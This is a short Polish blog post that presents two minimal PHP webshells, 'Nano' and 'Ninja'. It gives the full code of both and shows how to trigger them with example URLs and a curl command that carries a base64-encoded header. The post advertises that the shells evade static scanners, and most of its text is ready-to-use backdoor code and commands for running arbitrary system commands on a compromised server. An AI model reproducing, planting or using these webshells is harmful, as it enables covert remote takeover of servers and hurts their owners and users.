NFsec Logo

Nano & Ninja – webshell w 35 i 93 bajtach

18/02/2020 w Hacks & Scripts Możliwość komentowania Nano & Ninja – webshell w 35 i 93 bajtach została wyłączona

Nano jest małym webshellem zakodowanym w technice code golf, aby być bardziej niewykrywalnym, a zarazem wydajnym:

<?=$_GET[p]==_&&$_GET[f]($GET_[c]);

Jego zaletami są: tylko 35 bajtów rozmiaru; niewykrywalny przez skanery kodu statycznego; obsługuje uwierzytelnianie. Przykład użycia:

http://host.pl/nano.php?f=function&c=command&p=password

Gdzie: f = funkcja ; c = komenda; p = hasło
Na przykład poniższe żądnie HTTP wykona polecenie ls:

http://host.pl/nano.php?f=system&c=ls&p=password

Oprócz Nano jest jeszcze Ninja:

<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);

Jego zaletami są: tylko 93 bajtów rozmiaru; trudny do wykrycia. Przykład użycia:

curl -H 'x: xc3lzdGVtfmxz' http://host.pl/nano.php

Wydaje się trochę skomplikowane, ale jeśli chcemy wykonać polecenie system(ls) to zapisujemy je jako ciąg: system~ls następnie kodujemy go w base64, czyli: c3lzdGVtfmxz – dodajemy jeden znak x przed zakodowanym ciągiem: xc3lzdGVtfmxz i wysyłamy w żądaniu HTTP jako nagłówek x.

Więcej informacji: Nano